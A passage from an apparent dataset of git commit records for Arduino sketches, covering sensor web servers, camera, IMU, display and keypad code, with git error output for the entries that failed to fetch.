Serial.println(serial_message);\n\n}\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/Discofridge\/Discofridge.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c539d8b2c8ec6bba2c87320cb06951caf60ddf0e","subject":"initial commit","message":"initial commit\n","repos":"lucaslie\/hydration-bike","old_file":"hydration-bike.ino","new_file":"hydration-bike.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lucaslie\/hydration-bike.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8a650f09ed4f928eb3f880a6d0f4e26d23044ac9","subject":"Add files via upload","message":"Add files via upload\n\nSketch downloaded from URL inside\r\nhttps:\/\/www.az-delivery.de\/en\/blogs\/azdelivery-blog-fur-arduino-und-raspberry-pi\/turchen-nr-16","repos":"gmacario\/learning-arduino","old_file":"sketches\/Envy_WebServer_MQ2_SHT30\/Envy_WebServer_MQ2_SHT30.ino","new_file":"sketches\/Envy_WebServer_MQ2_SHT30\/Envy_WebServer_MQ2_SHT30.ino","new_contents":"#include <ESP8266WiFi.h>\r\n#include <Wire.h>\r\n#include <SHT3x.h>\r\n\r\nconst char* ssid = \" your SSID \";\r\nconst char* password = \" your password \";\r\nunsigned long delayTime;\r\nchar temperatureCString[6];\r\nchar humidityString[6];\r\nchar MQ2String[3];\r\nSHT3x sht30(0x44); \/\/adress of SHT30\r\nconst int analogInPin = A0; \/\/ADC-pin of AZ-Envy for the gas sensor\r\n\r\nWiFiServer server(80);\r\n\r\nvoid setup() {\r\n Serial.begin(9600);\r\n delay(10);\r\n \/\/ Connect to WiFi network\r\n Serial.println();\r\n Serial.println();\r\n Serial.print(\"Connecting to \");\r\n Serial.println(ssid);\r\n \r\n WiFi.mode(WIFI_STA);\r\n WiFi.begin(ssid, password);\r\n \r\n while (WiFi.status() != WL_CONNECTED) {\r\n delay(500);\r\n Serial.print(\".\");\r\n }\r\n Serial.println(\"\");\r\n Serial.println(\"WiFi connected\");\r\n \r\n \/\/ Start the server\r\n server.begin();\r\n Serial.println(\"Server started\");\r\n\r\n \/\/ Print the IP address\r\n Serial.println(WiFi.localIP());\r\n\r\n pinMode(analogInPin,INPUT); \/\/set ADC-pin as input\r\n pinMode(LED_BUILTIN,OUTPUT); \/\/set the integrated led as output\r\n sht30.Begin();\r\n}\r\nvoid getData() {\r\n sht30.UpdateData();\r\n \r\n float temperature = sht30.GetTemperature(); \/\/read the temperature from SHT30\r\n float humid = sht30.GetRelHumidity(); \/\/read the humidity from SHT30\r\n int sensorValue = analogRead(analogInPin); \/\/read the ADC-pin \u2192 connected to MQ-2\r\n\r\n \/\/calibrate your temperature values - due to heat reasons from the MQ-2 (up to 4\u00b0C)\r\n float temperature_deviation = 0.5; \/\/enter the deviation in order to calibrate the temperature value \r\n float temperature_calibrated = temperature - temperature_deviation; \/\/final value\r\n\r\n sprintf(MQ2String, \"%d\",sensorValue); \r\n dtostrf(temperature_calibrated, 5, 1, temperatureCString);\r\n dtostrf(humid, 5, 1, humidityString);\r\n\/*\r\n Serial.print(\"Temperature: \");\r\n Serial.println(temperature_calibrated);\r\n Serial.println(temperatureCString);\r\n Serial.print(\"Rel.Humidity: \"); \r\n Serial.println(humid); \r\n Serial.println(humidityString);\r\n Serial.print(\"MQ-2 Sensor = \"); \r\n Serial.println(sensorValue); \r\n Serial.println(MQ2String);\r\n delay(100);\r\n *\/\r\n }\r\n \r\nvoid loop() {\r\n \/\/ Check if a client has connected\r\n WiFiClient client = server.available();\r\n \r\n if (client) {\r\n Serial.println(\"New client\");\r\n \/\/ bolean to locate when the http request ends\r\n boolean blank_line = true;\r\n while (client.connected()) {\r\n if (client.available()) {\r\n char c = client.read();\r\n \r\n if (c == '\\n' && blank_line) {\r\n getData();\r\n\r\n client.println(\"HTTP\/1.1 200 OK\");\r\n client.println(\"Content-Type: text\/html\");\r\n client.println(\"Connection: close\");\r\n client.println();\r\n \/\/ your actual web page that displays temperature\r\n client.println(\"<!DOCTYPE HTML>\");\r\n client.println(\"<html>\");\r\n client.println(\"<head><META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"15\\\"><\/head>\");\r\n client.println(\"<body><h1>AZ-Envy Web Server<\/h1>\");\r\n client.println(\"<table border=\\\"2\\\" width=\\\"456\\\" cellpadding=\\\"10\\\"><tbody><tr><td>\");\r\n client.println(\"<h3>Temperatur = \");\r\n client.println(temperatureCString);\r\n client.println(\"°C<\/h3><h3>Luftfeuchte = \");\r\n client.println(humidityString);\r\n client.println(\"%<\/h3>\");\r\n client.println(\"<h3>MQ-2 Sensor = \");\r\n client.println(MQ2String);\r\n client.println(\"\");\r\n client.println(\"<\/h3><\/td><\/tr><\/tbody><\/table><\/body><\/html>\"); \r\n break;\r\n }\r\n if (c == '\\n') {\r\n \/\/ when starts reading a new line\r\n blank_line = true;\r\n }\r\n else if (c != '\\r') {\r\n \/\/ when finds a character on the current line\r\n blank_line = false;\r\n }\r\n }\r\n } \r\n \/\/ closing the client connection\r\n delay(1);\r\n client.stop();\r\n Serial.println(\"Client disconnected.\");\r\n }\r\n} \r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/Envy_WebServer_MQ2_SHT30\/Envy_WebServer_MQ2_SHT30.ino' did not match any file(s) known to git\n","license":"mpl-2.0","lang":"Arduino"} {"commit":"d0c074e481e43fbc6bfbf1b80843a34f6bd3fce9","subject":"Implement IMU unit on Curie","message":"Implement IMU unit on Curie\n","repos":"niccolli\/WebBluetoothAPIwithCURIE","old_file":"CurieIMU\/CurieIMU.ino","new_file":"CurieIMU\/CurieIMU.ino","new_contents":"#include \"CurieIMU.h\"\n\n\nvoid setup() {\n\n Serial.begin(9600);\n\n \/\/ Initialize internal IMU\n CurieIMU.begin();\n\n \/\/ Set accelerometer range to 2G\n CurieIMU.setAccelerometerRange(2);\n}\n\nvoid loop() {\n float ax, ay, az;\n\n CurieIMU.readAccelerometerScaled(ax, ay, az);\n Serial.print(\"Value ax:\");\n Serial.print(ax);\n Serial.print(\" \/ ay:\");\n Serial.print(ay);\n Serial.print(\" \/ az:\");\n Serial.println(az);\n delay(100);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'CurieIMU\/CurieIMU.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7001ae93684a27b00da1c0cbca2a567d5dceff70","subject":"Add support Arducam Mini 5MP OV5640 auto focus demo","message":"Add support Arducam Mini 5MP OV5640 auto focus demo\n","repos":"ArduCAM\/Arduino,ArduCAM\/Arduino,ArduCAM\/Arduino","old_file":"ArduCAM\/examples\/mini\/ArduCAM_Mini_5MP_OV5640_AutoFocus\/ArduCAM_Mini_5MP_OV5640_AutoFocus.ino","new_file":"ArduCAM\/examples\/mini\/ArduCAM_Mini_5MP_OV5640_AutoFocus\/ArduCAM_Mini_5MP_OV5640_AutoFocus.ino","new_contents":"\/\/ ArduCAM Mini_5MP_OV5640_AutoFocus demo (C)2018 Lee\n\/\/ Web: http:\/\/www.ArduCAM.com\n\/\/ This program is a demo of how to use most of the functions\n\/\/ of the library with ArduCAM Mini 5MP camera, and can run on any Arduino platform.\n\/\/ This demo was made for ArduCAM_Mini_5MP_OV5640.\n\/\/ It needs to be used in combination with PC software.\n\/\/ It can take photo continuously as video streaming.\n\/\/\n\/\/ The demo sketch will do the following tasks:\n\/\/ 1. Set the camera to JPEG output mode.\n\/\/ 2. Read data from Serial port and deal with it\n\/\/ 3. If receive 0x00-0x08,the resolution will be changed.\n\/\/ 4. If receive 0x10,camera will capture a JPEG photo and buffer the image to FIFO.Then write datas to Serial port.\n\/\/ 5. If receive 0x20,camera will capture JPEG photo and write datas continuously.Stop when receive 0x21.\n\/\/ 6. If receive 0x30,camera will capture a BMP photo and buffer the image to FIFO.Then write datas to Serial port.\n\/\/ 7. If receive 0x11 ,set camera to JPEG output mode.\n\/\/ 8. If receive 0x31 ,set camera to BMP output mode.\n\/\/ 9. If receive 0x40, begin signal automatic focus\n\/\/ This program requires the ArduCAM V4.0.0 (or later) library and ArduCAM_Mini_5MP_OV5640\n\/\/ and use Arduino IDE 1.6.8 compiler or above\n#include <Wire.h>\n#include <ArduCAM.h>\n#include <SPI.h>\n#include \"memorysaver.h\"\n\/\/This demo can only work on OV5640_MINI_5MP_PLUS platform.\n#if !(defined (OV5640_MINI_5MP_PLUS))\n#error Please select the hardware platform and camera module in the ..\/libraries\/ArduCAM\/memorysaver.h file\n#endif\n#define BMPIMAGEOFFSET 66\nconst char bmp_header[BMPIMAGEOFFSET] PROGMEM =\n{\n 0x42, 0x4D, 0x36, 0x58, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, 0x28, 0x00,\n 0x00, 0x00, 0x40, 0x01, 0x00, 0x00, 0xF0, 0x00, 0x00, 0x00, 0x01, 0x00, 0x10, 0x00, 0x03, 0x00,\n 0x00, 0x00, 0x00, 0x58, 0x02, 0x00, 0xC4, 0x0E, 0x00, 0x00, 0xC4, 0x0E, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x00, 0x00, 0xE0, 0x07, 0x00, 0x00, 0x1F, 0x00,\n 0x00, 0x00\n};\n\/\/ set pin 7 as the slave select for the digital pot:\nconst int CS = 10;\nbool is_header = false;\nint mode = 0;\nuint8_t start_capture = 0;\nuint8_t regX;\n\nArduCAM myCAM(OV5640, CS);\n\nuint8_t read_fifo_burst(ArduCAM myCAM);\nvoid setup() {\n\n\n \/\/ put your setup code here, to run once:\n uint8_t vid, pid;\n uint8_t temp;\n#if defined(__SAM3X8E__)\n Wire1.begin();\n Serial.begin(115200);\n#else\n Wire.begin();\n Serial.begin(921600);\n#endif\n Serial.println(F(\"ACK CMD ArduCAM Start!\"));\n \/\/ set the CS as an output:\n pinMode(CS, OUTPUT);\n \/\/ initialize SPI:\n SPI.begin();\n while (1) {\n \/\/Check if the ArduCAM SPI bus is OK\n myCAM.write_reg(ARDUCHIP_TEST1, 0x55);\n temp = myCAM.read_reg(ARDUCHIP_TEST1);\n if (temp != 0x55)\n {\n Serial.println(F(\"ACK CMD SPI interface Error!\"));\n delay(1000); continue;\n } else {\n Serial.println(F(\"ACK CMD SPI interface OK.\")); break;\n }\n }\n while (1) {\n \/\/Check if the camera module type is OV5640\n myCAM.rdSensorReg16_8(OV5640_CHIPID_HIGH, &vid);\n myCAM.rdSensorReg16_8(OV5640_CHIPID_LOW, &pid);\n if ((vid != 0x56) || (pid != 0x40)) {\n Serial.println(F(\"ACK CMD Can't find OV5640 module!\"));\n delay(1000); continue;\n } else {\n Serial.println(F(\"ACK CMD OV5640 detected.\")); break;\n }\n }\n\n \/\/Change to JPEG capture mode and initialize the OV5642 module\n myCAM.set_format(JPEG);\n myCAM.InitCAM();\n Serial.println(\"ACK CMD Downloading firmware...\");\n myCAM.wrSensorRegs16_8(OV5640_Auto_Focus);\n myCAM.wrSensorReg16_8(0x3022, 0x03);\n while (1)\n {\n \/\/ check status\n myCAM.rdSensorReg16_8(0x3029, ®X);\n if (regX == 0x10) {\n Serial.println(\"ACK CMD Auto focus completed\"); break;\n } \/\/ focus completed\n else {\n Serial.println(\"ACK CMD Auto focusing ...\"); delay(1000);\n }\n }\n myCAM.set_bit(ARDUCHIP_TIM, VSYNC_LEVEL_MASK);\n myCAM.clear_fifo_flag();\n myCAM.write_reg(ARDUCHIP_FRAMES, 0x00);\n \n}\n\nvoid loop() {\n uint8_t temp = 0xff, temp_last = 0;\n bool is_header = false;\n\n if (Serial.available())\n {\n temp = Serial.read();\n switch (temp)\n {\n case 0:\n myCAM.OV5640_set_JPEG_size(OV5640_320x240); delay(1000);\n Serial.println(F(\"ACK CMD switch to OV5640_320x240\"));\n temp = 0xff;\n break;\n case 1:\n myCAM.OV5640_set_JPEG_size(OV5640_352x288); delay(1000);\n Serial.println(F(\"ACK CMD switch to OV5640_352x288\"));\n temp = 0xff;\n break;\n case 2:\n myCAM.OV5640_set_JPEG_size(OV5640_640x480); delay(1000);\n Serial.println(F(\"ACK CMD switch to OV5640_640x480\"));\n\n temp = 0xff;\n break;\n case 3:\n myCAM.OV5640_set_JPEG_size(OV5640_800x480); delay(1000);\n Serial.println(F(\"ACK CMD switch to OV5640_800x480\"));\n\n temp = 0xff;\n break;\n case 4:\n myCAM.OV5640_set_JPEG_size(OV5640_1024x768); delay(1000);\n Serial.println(F(\"ACK CMD switch to OV5640_1024x768\"));\n temp = 0xff;\n break;\n case 5:\n myCAM.OV5640_set_JPEG_size(OV5640_1280x960); delay(1000);\n Serial.println(F(\"ACK CMD switch to OV5640_1280x960\"));\n temp = 0xff;\n break;\n case 6:\n myCAM.OV5640_set_JPEG_size(OV5640_1600x1200); delay(1000);\n Serial.println(F(\"ACK CMD switch to OV5640_1600x1200\"));\n temp = 0xff;\n break;\n case 7:\n myCAM.OV5640_set_JPEG_size(OV5640_2048x1536); delay(1000);\n Serial.println(F(\"ACK CMD switch to OV5640_2048x1536\"));\n temp = 0xff;\n break;\n case 8:\n myCAM.OV5640_set_JPEG_size(OV5640_2592x1944); delay(1000);\n Serial.println(F(\"ACK CMD switch to OV5640_2592x1944\"));\n temp = 0xff;\n break;\n case 0x10:\n mode = 1;\n start_capture = 1;\n Serial.println(F(\"ACK CMD CAM start single shoot.\"));\n break;\n case 0x11:\n myCAM.set_format(JPEG);\n myCAM.InitCAM();\n myCAM.set_bit(ARDUCHIP_TIM, VSYNC_LEVEL_MASK);\n break;\n case 0x20:\n mode = 2;\n start_capture = 2;\n Serial.println(F(\"ACK CMD CAM start video streaming.\"));\n break;\n case 0x30:\n mode = 3;\n temp = 0xff;\n start_capture = 3;\n Serial.println(F(\"ACK CMD CAM start single shoot.\"));\n break;\n case 0x31:\n temp = 0xff;\n myCAM.set_format(BMP);\n myCAM.InitCAM();\n \/\/Add support for automatic focus\n myCAM.wrSensorRegs16_8(OV5640_Auto_Focus);\n myCAM.clear_bit(ARDUCHIP_TIM, VSYNC_LEVEL_MASK);\n myCAM.wrSensorReg16_8(0x3818, 0x81);\n myCAM.wrSensorReg16_8(0x3621, 0xA7);\n break;\n case 0x40:\n myCAM.wrSensorReg16_8(0x3022, 0x03);\n while (1)\n {\n \/\/ check status\n myCAM.rdSensorReg16_8(0x3029, ®X);\n if (regX == 0x10) {\n Serial.println(\"ACK CMD Auto focus completed\"); break;\n } \/\/ focus completed\n else {\n Serial.println(\"ACK CMD Auto focusing ...\"); delay(1000);\n }\n }\n\n break;\n default:\n break;\n }\n }\n if (mode == 1)\n {\n if (start_capture == 1)\n {\n myCAM.flush_fifo();\n myCAM.clear_fifo_flag();\n \/\/Start capture\n myCAM.start_capture();\n start_capture = 0;\n }\n if (myCAM.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK))\n {\n Serial.println(F(\"CAM Capture Done.\"));\n read_fifo_burst(myCAM);\n \/\/Clear the capture done flag\n myCAM.clear_fifo_flag();\n }\n }\n else if (mode == 2)\n {\n while (1)\n {\n temp = Serial.read();\n if (temp == 0x21)\n {\n start_capture = 0;\n mode = 0;\n Serial.println(F(\"ACK CMD CAM stop video streaming.\"));\n break;\n }\n if (start_capture == 2)\n {\n myCAM.flush_fifo();\n myCAM.clear_fifo_flag();\n \/\/Start capture\n myCAM.start_capture();\n start_capture = 0;\n }\n if (myCAM.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK))\n {\n uint32_t length = 0;\n length = myCAM.read_fifo_length();\n if ((length >= MAX_FIFO_SIZE) | (length == 0))\n {\n myCAM.clear_fifo_flag();\n start_capture = 2;\n continue;\n }\n myCAM.CS_LOW();\n myCAM.set_fifo_burst();\/\/Set fifo burst mode\n while ( length-- )\n {\n temp_last = temp;\n temp = SPI.transfer(0x00);\n if (is_header == true)\n {\n Serial.write(temp);\n }\n else if ((temp == 0xD8) & (temp_last == 0xFF))\n {\n is_header = true;\n Serial.println(F(\"ACK IMG\"));\n Serial.write(temp_last);\n Serial.write(temp);\n }\n if ( (temp == 0xD9) && (temp_last == 0xFF) ) \/\/If find the end ,break while,\n break;\n delayMicroseconds(15);\n }\n myCAM.CS_HIGH();\n myCAM.clear_fifo_flag();\n start_capture = 2;\n is_header = false;\n }\n }\n }\n else if (mode == 3)\n {\n if (start_capture == 3)\n {\n \/\/Flush the FIFO\n myCAM.flush_fifo();\n myCAM.clear_fifo_flag();\n \/\/Start capture\n myCAM.start_capture();\n start_capture = 0;\n }\n if (myCAM.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK))\n {\n Serial.println(F(\"ACK CMD CAM Capture Done.\"));\n uint8_t temp, temp_last;\n uint32_t length = 0;\n length = myCAM.read_fifo_length();\n if (length >= MAX_FIFO_SIZE )\n {\n Serial.println(F(\"ACK CMD Over size.\"));\n myCAM.clear_fifo_flag();\n return;\n }\n if (length == 0 ) \/\/0 kb\n {\n Serial.println(F(\"ACK CMD Size is 0.\"));\n myCAM.clear_fifo_flag();\n return;\n }\n myCAM.CS_LOW();\n myCAM.set_fifo_burst();\/\/Set fifo burst mode\n Serial.write(0xFF);\n Serial.write(0xAA);\n for (temp = 0; temp < BMPIMAGEOFFSET; temp++)\n {\n Serial.write(pgm_read_byte(&bmp_header[temp]));\n }\n \/\/ SPI.transfer(0x00);\n char VH, VL;\n int i = 0, j = 0;\n for (i = 0; i < 240; i++)\n {\n for (j = 0; j < 320; j++)\n {\n VH = SPI.transfer(0x00);;\n VL = SPI.transfer(0x00);;\n Serial.write(VL);\n delayMicroseconds(12);\n Serial.write(VH);\n delayMicroseconds(12);\n }\n }\n Serial.write(0xBB);\n Serial.write(0xCC);\n myCAM.CS_HIGH();\n \/\/Clear the capture done flag\n myCAM.clear_fifo_flag();\n }\n }\n}\nuint8_t read_fifo_burst(ArduCAM myCAM)\n{\n uint8_t temp = 0, temp_last = 0;\n uint32_t length = 0;\n length = myCAM.read_fifo_length();\n Serial.println(length, DEC);\n if (length >= MAX_FIFO_SIZE) \/\/512 kb\n {\n Serial.println(F(\"ACK CMD Over size.\"));\n return 0;\n }\n if (length == 0 ) \/\/0 kb\n {\n Serial.println(F(\"ACK CMD Size is 0.\"));\n return 0;\n }\n myCAM.CS_LOW();\n myCAM.set_fifo_burst();\/\/Set fifo burst mode\n while ( length-- )\n {\n temp_last = temp;\n temp = SPI.transfer(0x00);\n if (is_header == true)\n {\n Serial.write(temp);\n }\n else if ((temp == 0xD8) & (temp_last == 0xFF))\n {\n is_header = true;\n Serial.println(F(\"ACK IMG\"));\n Serial.write(temp_last);\n Serial.write(temp);\n }\n if ( (temp == 0xD9) && (temp_last == 0xFF) ) \/\/If find the end ,break while,\n break;\n delayMicroseconds(15);\n }\n myCAM.CS_HIGH();\n is_header = false;\n return 1;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduCAM\/examples\/mini\/ArduCAM_Mini_5MP_OV5640_AutoFocus\/ArduCAM_Mini_5MP_OV5640_AutoFocus.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fff7d911cf38b8ffd5ac5749ea23db2c5d8c192e","subject":"we have global status","message":"we have global status\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"SPITest\/SPI.ino","new_file":"SPITest\/SPI.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"63452d5bb56131ca42123c1fc418717d888a7dd2","subject":"Finally pushed bed part","message":"Finally pushed bed part\n","repos":"tdmike\/EmergingTechnologies,tdmike\/EmergingTechnologies,tdmike\/EmergingTechnologies,tdmike\/EmergingTechnologies,tdmike\/EmergingTechnologies,tdmike\/EmergingTechnologies","old_file":"Bed applicate\/RF24\/RF24.ino","new_file":"Bed applicate\/RF24\/RF24.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tdmike\/EmergingTechnologies.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"cf640dad563d9424547e292cf4814963fe7b920c","subject":"updated pd patches 9 and 12 for functionality. added arduino light sensor program","message":"updated pd patches 9 and 12 for functionality. added arduino light sensor program\n","repos":"cpmpercussion\/ComputerMusicIntro","old_file":"arduino_light_sensor\/arduino_light_sensor.ino","new_file":"arduino_light_sensor\/arduino_light_sensor.ino","new_contents":"int LDR_Pin = A0; \/\/analog pin 0\n\nvoid setup() {\n Serial.begin(9600);\n}\n\nvoid loop() {\n int LDRReading = analogRead(LDR_Pin);\n\n Serial.write(LDRReading\/4);\n \/\/delay(100); \/\/just here to slow down the output for easier reading\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino_light_sensor\/arduino_light_sensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"78033d94fe2c85452c95cd2c23f95f220dc9d40e","subject":"some test","message":"some test","repos":"lexus2k\/ssd1306,lexus2k\/ssd1306,lexus2k\/ssd1306,lexus2k\/ssd1306","old_file":"tools\/speedtest\/speedtest.ino","new_file":"tools\/speedtest\/speedtest.ino","new_contents":"\/*\r\n Copyright (C) 2017 Alexey Dynda\r\n\r\n This file is part of SSD1306 library.\r\n\r\n This program is free software: you can redistribute it and\/or modify\r\n it under the terms of the GNU General Public License as published by\r\n the Free Software Foundation, either version 3 of the License, or\r\n (at your option) any later version.\r\n\r\n This program is distributed in the hope that it will be useful,\r\n but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n GNU General Public License for more details.\r\n\r\n You should have received a copy of the GNU General Public License\r\n along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\r\n*\/\r\n\/**\r\n * Atmega328 PINS: connect LCD to A4\/A5\r\n * This sketch is just for test purposes. For those, who wants to compare libraries\r\n *\/\r\n\r\n#include \"Wire.h\"\r\n\r\n\/* Uncomment if you want to run test with Adafruit library *\/\r\n\/\/#define ADAFRUIT_TEST\r\n\r\n#ifdef ADAFRUIT_TEST\r\n#include <Adafruit_GFX.h>\r\n#include <Adafruit_SSD1306.h>\r\n#else\r\n#include \"ssd1306.h\"\r\n#include \"nano_gfx.h\"\r\n#include \"i2c\/ssd1306_i2c_wire.h\"\r\n#endif\r\n\r\n\r\n#ifdef ADAFRUIT_TEST\r\n Adafruit_SSD1306 display(4);\r\n#else\r\n uint8_t buf[1024];\r\n NanoCanvas canvas(128, 64, buf);\r\n#endif\r\n\r\n\/** Returns delay *\/\r\nunsigned long runTest()\r\n{\r\n unsigned long ts = micros();\r\n#ifdef ADAFRUIT_TEST\r\n display.clearDisplay();\r\n display.setCursor(0,0);\r\n display.print(\"TEST MESSAGE\");\r\n display.setCursor(0,20);\r\n display.print(\"I2C_CLOCK\");\r\n display.setCursor(0,40);\r\n display.print(\"ADC VALUE\");\r\n display.display();\r\n#else\r\n canvas.clear();\r\n canvas.charF6x8(0,0, \"TEST MESSAGE\");\r\n canvas.charF6x8(0,20, \"I2C_CLOCK\");\r\n canvas.charF6x8(0,40, \"ADC VALUE\");\r\n canvas.blt(0,0);\r\n#endif\r\n return (micros() - ts);\r\n}\r\n\r\nvoid printResult(unsigned long ms)\r\n{\r\n#ifdef ADAFRUIT_TEST\r\n display.setCursor(32, 56);\r\n display.print(ms);\r\n display.setCursor(90, 56);\r\n display.print(\"MS\");\r\n display.display();\r\n#else\r\n char buf[16];\r\n utoa(ms,buf,10);\r\n ssd1306_charF6x8(32, 7, buf, STYLE_BOLD);\r\n ssd1306_charF6x8(90, 7, \"MS\", STYLE_BOLD);\r\n#endif\r\n}\r\n\r\nvoid setup()\r\n{\r\n \/* Replace the line below with ssd1306_128x32_i2c_init() if you need to use 128x32 display *\/\r\n Wire.begin();\r\n \/* Max supported frequency by ssd1306 controller. Please refer to datasheet *\/\r\n Wire.setClock( 400000 );\r\n\r\n#ifdef ADAFRUIT_TEST\r\n display.begin(SSD1306_SWITCHCAPVCC, 0x3C);\r\n display.clearDisplay();\r\n display.setTextSize(1);\r\n display.setTextColor(WHITE);\r\n display.display();\r\n#else \r\n ssd1306_i2cInit_Wire(0x3C);\r\n ssd1306_128x64_init();\r\n ssd1306_clearScreen();\r\n#endif\r\n\r\n}\r\n\r\nvoid loop()\r\n{\r\n if ((millis() & 0x3FF) == 0)\r\n {\r\n unsigned long result = runTest();\r\n printResult(result);\r\n }\r\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tools\/speedtest\/speedtest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"61375da8abc86057b0e4a3070968073c940510c1","subject":"add tf test","message":"add tf test\n","repos":"MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI","old_file":"testing\/arduino\/tf_test.ino","new_file":"testing\/arduino\/tf_test.ino","new_contents":"#include <ros.h>\n#include <ros\/time.h>\n#include <tf\/transform_broadcaster.h>\n#include <tf\/tf.h>\n\nros::NodeHandle nh;\n\ngeometry_msgs::TransformStamped t;\ntf::TransformBroadcaster broadcaster;\n\nchar base_link[] = \"\/base_link\";\nchar odom[] = \"\/odom\";\n\n\nstatic geometry_msgs::Quaternion createQuaternionFromRPY(double roll, double pitch, double yaw) {\n geometry_msgs::Quaternion q;\n double t0 = cos(yaw * 0.5);\n double t1 = sin(yaw * 0.5);\n double t2 = cos(roll * 0.5);\n double t3 = sin(roll * 0.5);\n double t4 = cos(pitch * 0.5);\n double t5 = sin(pitch * 0.5);\n q.w = t0 * t2 * t4 + t1 * t3 * t5;\n q.x = t0 * t3 * t4 - t1 * t2 * t5;\n q.y = t0 * t2 * t5 + t1 * t3 * t4;\n q.z = t1 * t2 * t4 - t0 * t3 * t5;\n return q;\n}\n\n\nvoid setup()\n{\n nh.initNode();\n broadcaster.init(nh);\n}\n\nfloat tempNumber = 0;\n\nvoid loop()\n{\n tempNumber += 0.1;\n\n t.header.frame_id = odom;\n t.child_frame_id = base_link;\n t.transform.translation.x = 0.0;\n t.transform.translation.y = 0.0;\n t.transform.translation.z = 0.0;\n\n t.transform.rotation = createQuaternionFromRPY(0.0, 0.0, tempNumber);\n \/*\n t.transform.rotation.x = 0.0;\n t.transform.rotation.y = 0.0;\n t.transform.rotation.z = 0.0;\n t.transform.rotation.w = 1.0;\n *\/\n\n t.header.stamp = nh.now();\n\n broadcaster.sendTransform(t);\n nh.spinOnce();\n delay(1);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'testing\/arduino\/tf_test.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"97022267579b0f5cd2dda7d31f6db03652cbbfb6","subject":"Initial program code","message":"Initial program code\n","repos":"fablabnbg\/fln-door-pad","old_file":"fln-door-pad.ino","new_file":"fln-door-pad.ino","new_contents":"\/* \n\nFLN-Door-Pad\nby: mose@fabfolk.com\nunder: MIT License\n\ntested with Arduino 1.6.4\n\nInspired and partially based on\n keyPadHiduino Example Code\n by: Jim Lindblom\n MIT license\n\nThis program was designed for use with an Arduino Pro Micro.\nIt provides an HID or serial interface for \"Storm Interface\" 1000 series keypads\nwith 8-pin connector. Both 12 and 16 key types are supported. Connect D2-D9 to\nPin 1-8 on keypad. Interface mode selectable with jumper. By pulling D0 (RXI\non Pro Micro) LOW it's in HID mode or w\/o jumper it's a 9600 8N1 serial interface.\n \n*\/\n\nconst long debounceDelay = 50;\nconst int rowPins[4] = {2,3,9,8};\nconst int columnPins[4] = {4,5,6,7};\n\nint keypadStatus; \/\/ Used to monitor which buttons are pressed.\nint timeout; \/\/ timeout variable used in loop\nint lastkeypadStatus = 0;\nlong lastDebounceTime = 0;\nboolean serial;\n\n\nvoid setup(){\n for (int i=2; i<=9; i++){\n pinMode(i,INPUT); \/\/ Set all keypad pins as inputs\n digitalWrite(i,HIGH); \/\/ pullup\n }\n \n pinMode(0,INPUT_PULLUP);\n if(digitalRead(0) == LOW){\n Keyboard.begin();\n serial = false;\n const char layout[16] = {'1','2','3','A','4','5','6','B','7','8','9','C',8,'0','\\n','D'}; \/\/layout with * as BACKSPACE and # as RETURN\n }\n else {\n Serial.begin(9600);\n serial = true;\n const char layout[16] = {'1','2','3','A','4','5','6','B','7','8','9','C','*','0','#','D'};\n }\n}\n\nvoid loop(){\n keypadStatus = getKeypadStatus(); \/\/ read which buttons are pressed\n if (keypadStatus != 0) \/\/ If a button is pressed go into here\n {\n \/\/ If the switch changed, due to noise or pressing:\n if (keypadStatus != lastkeypadStatus) {\n \/\/ reset the debouncing timer\n lastDebounceTime = millis();\n }\n if ((millis() - lastDebounceTime) > debounceDelay) {\n sendKeyPress(keypadStatus); \/\/ send the button over USB\n \n \/\/ repeat\n timeout = 2000; \/\/ top of the repeat delay\n while ((getKeypadStatus() == keypadStatus) && (--timeout)) \/\/ 